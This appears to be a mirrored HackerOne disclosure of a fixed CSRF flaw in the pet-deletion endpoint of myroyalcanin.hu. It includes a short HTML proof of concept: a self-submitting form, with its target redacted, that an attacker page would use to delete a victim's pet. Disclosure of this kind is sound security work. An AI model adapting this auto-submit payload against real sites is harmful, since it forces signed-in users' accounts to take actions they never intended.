Skip to content
CSRF Disclosed report Beginner

CSRF to delete a pet

d0rift Follow

Originally disclosed on HackerOne

Medium 5.0 View original
  • Triaged in 2 days
  • Fixed in 11 days
  • Disclosed after 2 months

Summary by the program

A vulnerability was reported where the ██████████ API endpoint at myroyalcanin.hu is vulnerable to Cross-Site Request Forgery (CSRF) attacks. This vulnerability allows an attacker to delete a pet from a victim's account without their knowledge or consent.

The report

Summary:

The /kisallataim/ANIMAL_ID/delete API endpoint at myroyalcanin.hu is vulnerable to Cross-Site Request Forgery attacks. This vulnerability allows an attacker to delete a pet from the victim's account.

(Sorry for my English, I'm French)

Proof-of-Concept (PoC)

HTML
<html>
  <body>
    <form action="████">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

You have to replace ANIMAL_ID with the ID of the victim's pet you wish to delete.

Impact

An attacker can exploit this CSRF in order to delete the victim's pet.

The original report as published on HackerOne, by d0rift. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity CSRF bug in *.myroyalcanin.hu, rated CVSS 5.0. HackerOne made it public on 30 August 2023.

About CSRF

Another site makes a signed-in user's browser perform an action they did not intend.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from Mars

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.